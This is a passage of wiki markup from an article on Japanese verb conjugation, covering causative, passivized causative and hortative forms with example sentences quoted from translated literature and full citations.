| {{#invoke:nihongo|nihongo_krt|cause to give|進ぜさせる|shinzesaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:(シテ)夫は<ruby>能<rp>(</rp><rt>(よい)</rt><rp>)</rp></ruby>致し方が御ざる。先其栗を燒栗に致いて、ぐはらり〱とすりくだき、ぐわんじあはせて進ぜさせられたが能う御座る。[…](シテ)誠に栗の見事なせんが御ぢらぬが、夫成らば私の存じまするは、<ruby>上<rp>(</rp><rt>(しやう</rt><rp>)</rp></ruby><ruby>座<rp>(</rp><rt>ざ)</rt><rp>)</rp></ruby>に御座る御客へは、其栗を進ぜさせられうず。又すゑ<ruby>〱<rp>(</rp><rt>ずゑ</rt><rp>)</rp></ruby>の御客へは、余の御菓子でもくるしう御ざるまい。[…](シテ)其跡から、三十四人の<ruby>公<rp>(</rp><rt>(きん</rt><rp>)</rp></ruby><ruby>達<rp>(</rp><rt>だち)</rt><rp>)</rp></ruby>の出させられて、やい太郞くはじや、汝はとゝ樣かゝ樣へは栗を進上申て、なぜにわれ<ruby>〱<rp>(</rp><rt>(われ)</rt><rp>)</rp></ruby>へはくれぬぞと仰られて御座るに依て、中〱進じませう。夫ながら、是は私の進ずるのでは御座らぬ。賴ふだ人の進ぜさせらるゝので御ざる。|url=https://dl.ndl.go.jp/pid/1355174/1/19|pages=30, 34|script-chapter=ja:栗燒(くりやき)|script-title=ja:能狂言|volume=2 |publisher=Iwanami Shoten|first=Ken|last=Sasano|series={{#invoke:lang|lang|ja|岩波文庫}}|date=10 April 1956|orig-date=26 July 1943|edition=2nd|location=[[Chiyoda, Tokyo]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||進じさせる|shinjisaseru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:<ruby>度<rp>(</rp><rt>たび</rt><rp>)</rp></ruby><ruby>々<rp>(</rp><rt>〲</rt><rp>)</rp></ruby><ruby>鎌<rp>(</rp><rt>かま</rt><rp>)</rp></ruby><ruby>倉<rp>(</rp><rt>くら</rt><rp>)</rp></ruby>へ<ruby>申<rp>(</rp><rt>まを</rt><rp>)</rp></ruby>し<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>じさせたけれど、[…]<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby>つけ<ruby>次<rp>(</rp><rt>し</rt><rp>)</rp></ruby><ruby>第<rp>(</rp><rt>だい</rt><rp>)</rp></ruby><ruby>搦<rp>(</rp><rt>から</rt><rp>)</rp></ruby>め<ruby>進<rp>(</rp><rt>しん</rt><rp>)</rp></ruby>ずるか、|pages=469, 589|url=https://dl.ndl.go.jp/pid/945550/1/240|script-title=ja:平泉情史 藤原秀衡|date=20 September 1917|last=Fujiwara|first=Ainosuke|publisher={{#invoke:lang|lang|ja|仁友社}}}}</ref><br>{{#invoke:nihongo|nihongo_krt||進ぜさす|shinzesasu}}<br>{{#invoke:nihongo|nihongo_krt||進じさす|shinjisasu}}<br>{{#invoke:nihongo|nihongo_krt||進ぜしめる|shinzeshimeru}}<br>{{#invoke:nihongo|nihongo_krt||進じしめる|shinjishimeru}}
|-
| {{#invoke:nihongo|nihongo_krt|come|来る|kuru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|こ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|させる<br>さす<br>しめる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|cause to come|来させる|kosaseru}}<br>{{#invoke:nihongo|nihongo_krt||来さす|kosasu}}<br>{{#invoke:nihongo|nihongo_krt||来しめる|koshimeru}}
|}
=== Causative: Grammatical compatibility ===
A causative verb is either an ''ichidan'' or ''godan'' verb, and can be conjugated further in the same way those types of verbs can be.
It has been suggested that the '''double causative''' is possible, as in {{#invoke:nihongo|nihongo||一郎が太郎に次郎に戸を開け'''させさせ'''た|Ichirō ga Tarō ni Jirō ni to o ake'''sasesase'''ta|{{gloss|Ichirō caused Tarō to cause Jirō to open the door}}}}, although it is doubtful whether speakers would find it comfortable.{{sfnp|Martin|2004|p=291}}
The passive can be added on top of the causative to create the '''passivized causative''':{{sfnp|Martin|2004|pp=287–289}}
* ''Ichidan'' causative: {{#invoke:nihongo|nihongo||させる|saseru|{{gloss|she causes him to do it}}}} → {{#invoke:nihongo|nihongo||させ'''られる'''|sase'''rareru'''|{{gloss|he is caused to do it (by her)}}}}
* ''Godan'' causative: {{#invoke:nihongo|nihongo||さす|sasu|{{gloss|she causes him to do it}}}} → {{#invoke:nihongo|nihongo||さ'''される'''|sa'''sareru'''|{{gloss|he is caused to do it (by her)}}}}
The passivized causative results from the passive built on the causative, but not the opposite. It can also be used on auxiliaries that append to [[Japanese conjugation (ren'yōkei base)#Infinitive|infinitives]] or [[Japanese conjugation (ren'yōkei base)#Gerund|gerunds]], for example in {{#invoke:nihongo|nihongo||させ'''られ'''続けさせ'''られる'''|sase'''rare'''tsuzukesase'''rareru'''|{{gloss|he is caused to continue to be caused to do it}}}}, {{#invoke:nihongo|nihongo||させ'''られ'''たがらせ'''られる'''|sase'''rare'''tagarase'''rareru'''|{{gloss|he is caused to want to be caused to do it}}}}, although such examples, while grammatically plausible, are probably not used.{{sfnp|Martin|2004|p=291}}
{| class="wikitable"
|+ style=text-align:left | Extended causative example sentences
|-
! English
! Japanese
! Function
|-
| I have been made to tend the little girls in the lower schoolroom, and to talk French to the Misses, until I grew sick of my mother‑tongue.
| {{#invoke:Nihongo|nihongo||あたしは下の敎室の小さな生徒達の面倒'''を見させられ'''、又お孃さん達相手には、いくら母國語だつていやになつてしまふほどフランス語'''をしやべらせられた'''わ。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:『どうして。あの黑坊の從僕が吿げ口でもするの?』とレベッカ讓は笑ひながら叫んだ。『彼が引返して行つて、ピンカトンさんに、あたしが心の底から彼女を憎んでゐると敎へたつていゝわ。ほんとにさうしてくれるといゝと思ふわ。その上、憎んでゐることを見せてやる方法があるといゝと思ふわ。二年間、あたしは彼女から侮辱と虐待との外は何も受けなかつたんですもの。あたしは勝手の方のどの召使よりも冷遇されて來たわ。あたしはあなたの外一人の友達もなく、やさしい言葉一つかけてくれる人もなかつたわ。あたしは下の敎室の小さな生徒達の面倒を見させられ、又お孃さん達相手には、いくら母國語だつていやになつてしまふほどフランス語をしやべらせられたわ。でも、ピンカトンさんにフランス語で話しかけてやるのは、とても面白かつたわねえ、どう? あの人はフランス語は<ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby><ruby>言<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>も分らないくせに、くやしいからそれを白狀しないんですものねえ。あたしを追ひ出したのは、きつとそのせゐよ、だからフランス語樣々だわ。<ruby>佛蘭西萬歲<rp>(</rp><rt>ヴイヴ・ラ・フランス</rt><rp>)</rp></ruby>! <ruby>皇帝萬歲<rp>(</rp><rt>ヴイヴ・ランプラー</rt><rp>)</rp></ruby>! ボナパルト萬歲!』|quote="Why, will the black footman tell tales?" cried Miss Rebecca, laughing. "He may go back and tell Miss Pinkerton that I hate her with all my soul; and I wish he would; and I wish I had a means of proving it, too. For two years I have only had insults and outrage from her. I have been treated worse than any servant in the kitchen. I have never had a friend or a kind word, except from you. I have been made to tend the little girls in the lower schoolroom, and to talk French to the Misses, until I grew sick of my mother-tongue. But that talking French to Miss Pinkerton was capital fun, wasn't it? She doesn't know a word of French, and was too proud to confess it. I believe it was that which made her part with me; and so thank Heaven for French. ''Vive la France! Vive l'Empereur! Vive Bonaparte!''"|page=28|url=https://dl.ndl.go.jp/pid/1136346/1/17|script-chapter=ja:二 シャープ孃とセドレ孃 世の戰ひに出る準備をすること|chapter=Chapter II. In Which Miss Sharp and Miss Sedley Prepare to Open the Campaign.|script-title=ja:虛榮の市|title=Vanity Fair: Pen and Pencil Sketches of English Society.|trans-title=[[Vanity Fair (novel)|Vanity Fair]]|volume=1|series={{#invoke:lang|lang|ja|岩波文庫}}|publisher=Iwanami Shoten|authorlink=William Makepeace Thackeray|first=William Makepeace|last=Thackeray|translator-first=Ikusaburō|translator-last=Miyake|date=15 March 1948|orig-date=2 February 1939|edition=5th|editor-first=Kakuzaemon|editor-last=Nunokawa|location=[[Chiyoda, Tokyo]]}}</ref>|Atashi wa shita no kyōshitsu no chiisa na seitotachi no mendō '''o misaserare''', mata ojōsantachi aite ni wa, ikura bokokugo da tte iya ni natte shimau hodo Furansu-go '''o shaberaserareta''' wa.}}
| rowspan=5 | passivity and passive potentiality
|-
| In reading this piece again, I was compelled to reflect on what it is like to be a married couple and a family.
| {{#invoke:Nihongo|nihongo||本編を読んで改めて、夫婦とは、家族とは、'''を'''私自身'''が考えさせられた'''。<ref>{{#invoke:cite|journal|lang=ja|script-title=ja:随筆選評|trans-title=Essay Critique|first=Keiko|last=Takahata|page=208|location=[[Hamamatsu]], [[Shizuoka Prefecture|Shizuoka]]|script-journal=ja:浜松市民文芸|trans-journal=The Literary Arts of Hamamatsu|volume=64|date=17 March 2019|publisher=Hamamatsu Cultural Foundation|editor=Hamamatsu Cultural Foundation|url=https://www.hcf.or.jp/event/citizens_art_no64/pdf/bungei64.pdf}}</ref>|Honpen o yonde aratamete, fūfu to wa, kazoku to wa, '''o''' watashi jishin '''ga kangaesaserareta'''.}}
|-
| '[…] You don't seriously expect me to believe that a multimillionaire playboy like Raoul de Chevnair would ever notice a little nobody like you, let alone marry her!'{{efn|You don't expect that I was made to believe.}}
| {{#invoke:Nihongo|nihongo||「[…] まさかあんな億万長者のプレイボーオイが、あなたのような名なしの画家に注目するなんて、本気で'''信じさせられる'''と思っちゃいないわよね。まして結婚するなどとは!」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「そうでしょうとも」ビビアンのつり上がった目は悪意に満ちていた。「じゃ、さっきのざれごとは何? ちょっと調べさせていただいたところでは、あなたが話してたひと、ラウル・ド・シュヴネイルでよ? まさかあんな億万長者のプレイボーオイが、あなたのような名なしの画家に注目するなんて、本気で信じさせられると思っちゃいないわよね。まして結婚するなどとは!」ビビアンは鼻で笑った。|quote='I just bet you don't.' Vivien's hard slanted eyes were poisonous. 'What's your little game, then? I've made a few enquiries and that's Raoul de Chevnair you were talking to, isn't it? You don't seriously expect me to believe that a multimillionaire playboy like Raoul de Chevnair would ever notice a little nobody like you, let alone marry her!' She laughed spitefully, her face mocking.|script-chapter=ja:1|chapter=Chapter One|first=Helen|last=Brooks|authorlink=Rita Bradshaw|translator-first=Seiko|translator-last=Suzuki|orig-date=1 August 2015|date=15 July 2021|publisher=HarperCollins Japan|script-title=ja:不死鳥の翼|trans-title=The Phoenix's Wings|title=A Heartless Marriage|isbn=978-4-596-41609-4}}</ref>|'[…] Masaka anna okuman chōja no pureibōi ga, anata no yō na na nashi no gaka ni chūmoku suru nante, honki de '''shinjisaserareru''' to omotcha inai wa yo ne. Mashite kekkon suru nado to wa!'}}
|-
| He imitated the action of a man's being impelled forward by the butt‑ends of muskets.{{efn|A man's being impelled to walk.}}
| {{#invoke:Nihongo|nihongo||彼は小銃の台尻でひっぱたかれて無理に'''歩かせられる'''男の動作をまねた。<ref>{{#invoke:cite|book|lang=ja|script-chapter=ja:第十五章 編物|chapter=Chapter XV. Knitting.|script-title=ja:二都物語|volume=1|title=[[A Tale of Two Cities]]|authorlink=Charles Dickens|first=Charles John Huffam|last=Dickens|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|translator-last=Honda|translator-first=Akira|orig-year=1966|date=19 December 2012}}</ref>|Kare wa shōjū no daijiri de hippatakarete muri ni '''arukaserareru''' otoko no dōsa o maneta.}}
|-
| The other day, some journalist came and said, "There'll be no mission as over the top as this one. There's just no way you could get a project like this off the ground these days."{{efn|"It's utterly impossible to make a project like this run these days" or "A project like this will never be made to run these days."}}
| {{#invoke:Nihongo|nihongo||先日,あるジャーナリストの方が来られて,「こんなムチャクチャなミッションはもうないですね。今ではとてもこんな計画は'''走らせられない'''ですね」。<ref>{{#invoke:cite|news|lang=ja|page=9|script-title=ja:帰ってこい,はやぶさ|last=Fujiwara|first=Akira|url=https://www.isas.jaxa.jp/ISASnews/No.300e/ISASnews300e.pdf|issn=0285-2861|script-work=ja:ISASニュース|date=March 2006|number={{#invoke:lang|lang|ja|号外}}|publisher=Institute of Space and Astronautical Science|location=[[Sagamihara]], [[Kanagawa Prefecture|Kanagawa]]}}</ref>|Senjitsu, aru jānarisuto no kata ga korarete, "Konna mucha kucha na misshon wa mō nai desu ne. Ima de wa tote mo konna keikaku wa '''hashiraserarenai''' desu ne".}}
|-
| Make your beloved child travel.{{efn|If you love your child, send them out on a journey to toughen them up.}}
| {{#invoke:Nihongo|nihongo||可愛い・可愛き・愛(お)しい・愛(お)しき子'''に'''は旅'''をさせよ・させろ'''<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E5%8F%AF%E6%84%9B%E3%81%84%E5%AD%90%E3%81%AB%E3%81%AF%E6%97%85%E3%82%92%E3%81%95%E3%81%9B%E3%82%88-468534|script-title=ja:可愛い子には旅をさせよ|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E5%8F%AF%E6%84%9B%E5%AD%90%E3%81%AB%E3%81%AF%E6%97%85%E3%82%92%E3%81%95%E3%81%9B%E3%82%88-2025286|script-title=ja:可愛子には旅をさせよ|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E6%84%9B%E5%AD%90%E3%81%AB%E3%81%AF%E6%97%85%E3%82%92%E3%81%95%E3%81%9B%E3%82%88-2007777|script-title=ja:愛子には旅をさせよ|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E3%81%84%E3%81%A8%E3%81%8A%E3%81%97%E3%81%8D%E5%AD%90%E3%81%AB%E3%81%AF%E6%97%85%E3%82%92%E3%81%95%E3%81%9B%E3%82%88-2007709|script-title=ja:いとおしき子には旅をさせよ|script-work=ja:コトバンク}}</ref>|Kawaii/kawayuki/ito(o)shii/ito(o)shiki ko '''ni''' wa tabi '''o saseyo/sasero'''}}
| rowspan=5 | imperativity
|-
| "They took the trouble to came here. Let them taste the food for poison first."
| {{#invoke:Nihongo|nihongo||「せっかくあいつらがついてきたんだ。まずはあいつら'''に毒見させろ'''よ」<ref>{{#invoke:cite|book|lang=ja|script-chapter=ja:二 ただいまメイド修行中|trans-chapter=2. Now in Training as a Maid|script-title=ja:貧乏姫は婚活中!|trans-title=A Poor Princess Goes Husband-Hunting!|last=Hadori|first=Kō|date=20 December 2013|isbn=978-4-434-18569-4|publisher=AlphaPolis}}</ref>|"Sekkaku aitsura ga tsuite kita n da. Mazu wa aitsura '''ni dokumi sasero''' yo"}}
|-
| It keeps Cirello up at night . . . well, a lot of things keep him up at night . . . that Darnell would want him to reveal an undercover, name a snitch, and get someone killed.
| {{#invoke:Nihongo|nihongo||ダーネルが覆面捜査官やタレ込み屋の正体を明かせと、さらに誰か'''を殺させろ'''と迫ってくることを考えると――理由はそれだけではないが――シレロは夜も眠れない。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:それがシレロに迫っているもうひとつの壁だ。シレロかあるいはほかの誰かがしくじる。そして、シレロの正体がばれる。これまた時間の問題だ。ダーネルがシレロにはできないことを頼んできて、なぜできないのか知りたがる。これまた時間の問題だ。ダーネルが覆面捜査官やタレ込み屋の正体を明かせと、さらに誰かを殺させろと迫ってくることを考えると――理由はそれだけではないが――シレロは夜も眠れない。<br>ことによると、シレロ自身の手で殺せと言ってくるかもしれない。|quote=Because that was the other wall moving in on him. Again, just a matter of time before he fucks up, or someone fucks up, and blows his cover. A matter of time before Darnell asks him to do something he just can't do and then will want to know why he won't do it. It keeps Cirello up at night . . . well, a lot of things keep him up at night . . . that Darnell would want him to reveal an undercover, name a snitch, and get someone killed.<br>Or even worse, that Darnell would tell him to do it.|script-chapter=ja:4 逆さまの世界|chapter=4 This Upside-Down World|title=The Border|volume=2|script-title=ja:ザ・ボーダー|date=20 July 2019|isbn=978-4-596-54119-2|translator-first=Toshiki|translator-last=Taguchi|authorlink=Don Winslow|first=Don|last=Winslow|publisher=HarperCollins Japan}}</ref>|Dāneru ga fukumen sōsakan ya tarekomiya no shōtai o akase to, sara ni dare ka '''o korosasero''' to sematte kuru koto o kangaeru to――riyū wa sore dake de wa nai ga――Shirero wa yoru mo nemurenai.}}
|-
| To the privileged classes at home and to the despotic powers abroad, it was loudly proclaimed that the republic was of a peaceful nature, and "live and let live" was its motto.
| {{#invoke:Nihongo|nihongo||國內における特權階級と國外の專制的諸强國にたいしては、共和政治は平和的性質のものであること、そして生きよ、しかして'''生きしめよ'''が、その標語であることが聲たかくのべつたえられた。<ref name=yamakawa-1948/>|Kokunai ni okeru tokken kaikyū to kokugai no senseiteki shokyōkoku ni taishite wa, kyōwa seiji wa heiwateki seishitsu no mono de aru koto, so shite ikiyo, shika shite '''ikishimeyo''' ga, sono hyōgo de aru koto ga koe takaku nobetsutaerareta.}}
|-
| "''{{'}}Dum vivimus, vivamus!{{'}}''—While we live, let us ''live!'' Yes, my love, yes!"{{efn|''Ikashimeyo'' is the imperative of the classical ''nidan ikashimu'', which in turn is the causative of the classical ''yodan'' verb ''iku''. It is equivalent to the modern pseudo-classical ''ichidan ikishimeyo''.}}
| {{#invoke:Nihongo|nihongo||「ドゥム ヴィヴィマス ヴィヴァマス! 生ある限り、われら'''を生かしめよ'''……そうよ、あなた、そうよ!」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ぼくは刀を抜き、みごとなバランスを感じながら、<ruby>鍔<rp>(</rp><rt>つば</rt><rp>)</rp></ruby><ruby>元<rp>(</rp><rt>もと</rt><rp>)</rp></ruby>から切先へと眺めていった。刀鍛冶の名人が、羽根のように軟かくハンマーで打ったかすかな波形にふたたび注目しながら、ぼくはそれを上にのばし、刀身の中央部を示した。<br>「刻まれている文字を読んでくれ、スター」<br>彼女は刀を受け取って読んだ。<br>「ドゥム ヴィヴィマス ヴィヴァマス! 生ある限り、われらを生かしめよ……そうよ、<ruby>あなた<rp>(</rp><rt>マイ・ラブ</rt><rp>)</rp></ruby>、そうよ!」<br>彼女はそれに接吻し、ぼくにもどした。<br>ぼくは尋ねた。<br>「きみのいうことはわかってるね?」<br>「心に刻みこまれています」<br>ぼくは彼女の手を取った。<br>「高く飛ぶんだ。一……二……三!」|quote=I drew my sword and glanced along it, feeling its exquisite balance while noting again the faint ripples left by feather-soft hammer blows of some master swordsmith. I tossed it and caught it by the forte. "Read the motto, Star."<br>She traced it out. "''{{'}}Dum vivimus, vivamus!{{'}}''—{{'}}While we live, let us ''live!''{{'}} Yes, my love, yes!" She kissed it and handed it back; I placed it on the ground.<br>"Know your lines?" I asked.<br>"Graved in my heart."<br>I took her hand in mine. "Jump high. One . . . two . . . three!"|script-chapter=ja:十一|chapter=XI|orig-date=1 April 1979|date=13 August 2021|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|authorlink=Robert A. Heinlein|first=Robert Anson|last=Heinlein|translator-link=Tetsu Yano|translator-first=Tetsu|translator-last=Yano|title=[[Glory Road]]|script-title=ja:栄光の道}}</ref>|"Dumu vivimasu vivamasu! Sei aru kagiri, warera '''o ikashimeyo'''…… Sō yo, mai rabu, sō yo!"}}
|}
{{anchor|連用形|ren'yōkei|ren'yokei|renyokei|conjunctive|infinitive}}
== Hortative ==
The '''hortative''' or '''volitional''' expresses the speaker's or speakers' personal or collective volition ("I think I will do it", "we think we will do it"), or invitation to others ("let's do it"), to do something. The same form, otherwise known as the '''tentative''', '''conjectural''' or '''presumptive''', expresses subjective speculation ("I think/presume that's the case") or supposition ("perhaps that's the case", "that could be the case").{{sfnp|Martin|2004|pp=605–615}} The tentative meanings are increasingly outdated as later generations of speakers favor using ''darō'', ''deshō'', or ''de gozaimashō'' as less ambiguous tentative markers (more in the subsection below).
{| class="wikitable"
|+ style=text-align:left | Hortative form example sentences
|-
! English
! Japanese
! Function
|-
| I'll put off this task for later.
| {{#invoke:Nihongo|nihongo||その仕事は後回しに'''しよう'''|Sono shigoto wa atomawashi ni '''shiyō'''}}{{sfn|Digital Daijisen Dictionary: Yō}}
| rowspan=2 | personal volition ("I'll/'m going to do it")
|-
| I'll overlook your mistake this time.
| {{#invoke:Nihongo|nihongo||今回はあなたの間違いを大目に'''見よう'''|Konkai wa anata no machigai o ōme ni '''miyō'''}}
|-
| We do not have the least intention to make up trendy slang.
| {{#invoke:Nihongo|nihongo||流行語を'''作ろうなんて'''意図は、全然ないんです|Ryūkōgo o '''tsukurō nante''' ito wa, zenzen nai n desu}}
| rowspan=2 | collective volition ("we'll/'re going to do it")
|-
| The fact that man uses machines as tools means that man is to do what machines cannot.
| {{#invoke:Nihongo|nihongo||人間が機械を道具として使うということは、機械にはできんことを人間が'''やろう'''というわけです|Ningen ga kikai o dōgu to shite tsukau to yū koto wa, kikai ni wa dekin koto o ningen ga '''yarō''' to yū wake desu}}
|-
| It's getting late, let's go home.
| {{#invoke:Nihongo|nihongo||遅いから'''帰ろう'''|Osoi kara '''kaerō'''}}
| rowspan=2 | invitation to act together ("let's do it")
|-
| Shall we go out for dinner?
| {{#invoke:Nihongo|nihongo||夕食を外で'''食べよう'''か|Yūshoku o soto de '''tabeyō''' ka}}
|-
| There will probably be many objections at the meeting.
| {{#invoke:Nihongo|nihongo||会議では多くの反論が'''出されよう'''|Kaigi de wa ōku no hanron ga '''dasareyō'''}}{{sfn|Digital Daijisen Dictionary: Yō}}
| rowspan=7 | speculation ("I think it's the case") or supposition ("it might be the case; it's the case, isn't it?")
|-
| Any child could do that.
| {{#invoke:Nihongo|nihongo||どんな子供でもそれは'''できよう'''|Donna kodomo de mo sore wa '''dekiyō'''}}
|-
| "Sure. There are three 'will it's' in the heavens. Whaat are they?"<br>"Ha ha ha. Easy. I learnt this in first grade. Are they 'will it shine,' 'will it rain' and 'will it cloud'?"{{efn|The saying is {{#invoke:nihongo|nihongo||空に三つ廊下|sora ni mitsu rōka|{{lit|the three corridors in the sky}}}}.<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E7%A9%BA%E3%81%AB%E4%B8%89%E3%81%A4%E5%BB%8A%E4%B8%8B-555389|script-title=ja:空に三つ廊下|script-work=ja:コトバンク}}</ref> The {{#invoke:nihongo|nihongo||廊下|rōka|{{gloss|corridor}}}} is a pun on the interrogative tentative endings in {{#invoke:nihongo|nihongo||降ろうか|Furō ka|{{gloss|Will it rain?}}}}, {{#invoke:nihongo|nihongo||照ろうか|Terō ka|{{gloss|Will it shine?}}}} and {{#invoke:nihongo|nihongo||曇ろうか|Kumorō ka|{{gloss|Will it cloud?}}}}, which are what one would ask about the weather.}}
| {{#invoke:Nihongo|nihongo||「よーし。天に三つのろうかがあります。なんとなんとなーんだ。」<br>「ははは。そんなのかんたんさ。学校で一年生におしえたことがある。'''照ろう'''か、'''降ろう'''か、'''くもろう'''か'''だろう'''?」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「いいよ。じゃあ早く問題をだしなさい。」<br>「よーし。天に三つのろうかがあります。なんとなんとなーんだ。」<br>「ははは。そんなのかんたんさ。学校で一年生におしえたことがある。<ruby>照<rp>(</rp><rt>て</rt><rp>)</rp></ruby><span style=text-emphasis:sesame>ろうか</span>、<ruby>降<rp>(</rp><rt>ふ</rt><rp>)</rp></ruby><span style=text-emphasis:sesame>ろうか</span>、くも<span style=text-emphasis:sesame>ろうか</span>だろう?」|trans-quote="Alright, then. Tell me the question, pronto."<br>"Sure. There are three 'will it's' in the heavens. Whaat are they?"<br>"Ha ha ha. Easy. I learnt this in first grade. Are they 'will it shine,' 'will it rain' and 'will it cloud'?"|script-chapter=ja:校長先生のえんそく|trans-chapter=The Principal's Excursion|script-title=ja:ねこのネコカブリ小学校|trans-title=Nekokaburi Primary School for Cats|first1=Nobuyuki|last1=Mitamura|last2=Sasaki|first2=Maki|isbn=978-4-569-58537-6|publisher=PHP Institute|location=[[Kōtō]], Tokyo|volume=1|date=8 October 1981}}</ref>|"Yōshi. Ten ni mittsu no rō ka ga arimasu. Nan to nan to nān da."<br>"Hahaha. Sonna no kantansa. Gakkō de ichinensei ni oshieta koto ga aru. '''Terō''' ka, '''furō''' ka, '''kumorō''' ka '''darō'''."}}
|-
| and in the middle of the land rose a vast castle that seemed one mile long, with a row of awesome columns rising one above another.
| {{#invoke:Nihongo|nihongo||そうして、国のまんなかには、一マイルも'''あろう'''かと思われる、ひろいお城がそびえていて、ものすごい柱のろうかが、いくつも重なりあっていました。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:お日さまがだん〱高くのぼったとき、エリーザは、前のほうに、山ばかりの国が、なかば空中にうかんでいるのを見つけました。山のいただきには、氷のかたまりが光っていました。そうして、国のまんなかには、一マイルもあろうかと思われる、ひろいお城がそびえていて、ものすごい柱のろうかが、いくつも重なりあっていました。その下のほうには、やしの木の森や、水車ほどの大きさの、りっぱな花が波うっていました。|trans-quote=As the sun rose higher, Elisa saw before her a mountainous land half floating in the air. Masses of ice were shining on the mountaintops, and in the middle of the land rose a vast castle that seemed one mile long, with a row of awesome columns rising one above another. Below waved palm forests, and splendid flowers as big as waterwheels.|quote=Da solen kom højere, så Elisa foran sig, halvt svømmende i luften, et bjergland, med skinnende ismasser på fjeldene, og midt derpå strakte sig et vist milelangt slot, med den ene dristige søjlegang oven på den anden; nedenfor gyngede palmeskove og pragtblomster, store som møllehjul.|chapter=De vilde svaner|trans-chapter=[[The Wild Swans|The Swans]]|script-chapter=ja:白鳥|url=https://dl.ndl.go.jp/pid/1699211/1/45|page=86|script-title=ja:アンデルセン童話集|trans-title=Andersen's Fairy Tales|volume=Ⅱ|title=Eventyr|authorlink=Hans Christian Andersen|first=Hans Christian|last=Andersen|translator-first=Eiichi|translator-last =Banshōya|series={{#invoke:lang|lang|ja|角川文庫}}|date=30 October 1952|location=[[Chiyoda, Tokyo]]|publisher=Kadokawa Shoten}}</ref>|Sō shite, kuni no mannaka ni wa, ichi-mairu mo '''arō''' ka to omowareru, hiroi oshiro ga sobiete ite, monosugoi hashira no rōka ga, ikutsu mo kasanariatte imashita.}}
|-
| "[…] Once you sublimate your wildly unruly passion into magical power, the flame you summon will surely be beautiful, won't it?"
| {{#invoke:Nihongo|nihongo||「[…]すさまじいまでの荒ぶる情熱をそのまま魔力に昇華すれば、お前が喚びだす炎はさぞや'''美しかろう'''?」<ref>{{#invoke:cite|book|lang=ja|trans-quote="Strength of will, prowess in magic, and drive, too. You are fit to be a magician. Once you sublimate your wildly unruly passion into magical power, the flame you summon will surely be beautiful, won't it?"|script-quote=ja:「意志の強さ、魔力の高さ、それに行動力。お前は魔術師にむいている。すさまじいまでの荒ぶる情熱をそのまま魔力に昇華すれば、お前が喚びだす炎はさぞや美しかろう?」|script-chapter=ja:第二章 レイメリアと魔術師の杖(過去編)|trans-chapter=Chapter 2: Raymeria and the Magician's Wand (Past Arc)|script-title=ja:魔術師の杖 ネリアと魔術師レオポルド|trans-title=The Magician's Wand: Neria and Leopold the Magician|volume=7|author=Konayuki|date=30 June 2023|publisher=Impress NextPublishing}}</ref>|"[…] Susamajii made no araburu jōnetsu o sono mama maryoku ni shōka sureba, omae ga yobidasu honō wa sazoya '''utsukushikarō'''?"}}
|-
| If Anthony's love had been as egoistic as love generally is, it would have been greater than the egoism of his vanity—or of his generosity, if you like—and all this could not have happened. He would not have hit upon that renunciation at which one does not know whether to grin or shudder. It is true too that then his love would not have fastened itself upon the unhappy daughter of de Barral.
| {{#invoke:Nihongo|nihongo||もしアントニーの恋愛が一般にそうであるくらい利己的だったなら、それは虚栄のエゴイズムに――あるいは、まあ、寛大さに――'''まさったろう'''から、この一切は'''起きなかったろう'''。にやっと笑うべきなのかぞっと身震いすべきなのかわからない、そんな断念を思いつくことも'''なかったろう'''。その仮定では、彼の恋愛がド・バラルの不幸な娘にそもそも'''結びつかなかったろう'''というのも真だ。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:もしアントニーの恋愛が一般にそうであるくらい利己的だったなら、それは虚栄のエゴイズムに――あるいは、まあ、寛大さに――まさったろうから、この一切は起きなかったろう。にやっと笑うべきなのかぞっと身震いすべきなのかわからない、そんな断念を思いつくこともなかったろう。その仮定では、彼の恋愛がド・バラルの不幸な娘にそもそも結びつかなかったろうというのも真だ。しかしながら、その恋愛は稀な慈善から生じた。それは軽蔑とは無縁である。なんとなれば、優しさにおける圧倒的に強力な能力に根ざすからであり――その優しさは猛火の種類のもので、無口な孤独の男の優しさであり、情熱的な自ら志願して追放者となった男独特の優しさである。同時に、彼の虚栄心は莫大であったと考えざるをえない。|quote=If Anthony's love had been as egoistic as love generally is, it would have been greater than the egoism of his vanity—or of his generosity, if you like—and all this could not have happened. He would not have hit upon that renunciation at which one does not know whether to grin or shudder. It is true too that then his love would not have fastened itself upon the unhappy daughter of de Barral. But it was a love born of that rare pity which is not akin to contempt because rooted in an overwhelmingly strong capacity for tenderness—the tenderness of the fiery kind—the tenderness of silent solitary men, the voluntary, passionate outcasts of their kind. At the time I am forced to think that his vanity must have been enormous.|chapter=Chapter Four: Anthony and Flora|script-chapter=ja:第四章 アントニーとフローラ|title=[[Chance (Conrad novel)|Chance: A Tale in Two Parts]]|script-title=ja:チャンス 前後二編からなる物語|authorlink=Joseph Conrad|first=Joseph|last=Conrad|translator-last=Aono|translator-first=Maruka|date=1 March 2021}}</ref>|Moshi Antonī no ren'ai ga ippan ni sō de aru kurai rikoteki datta nara, sore wa kyoei no egoizumu 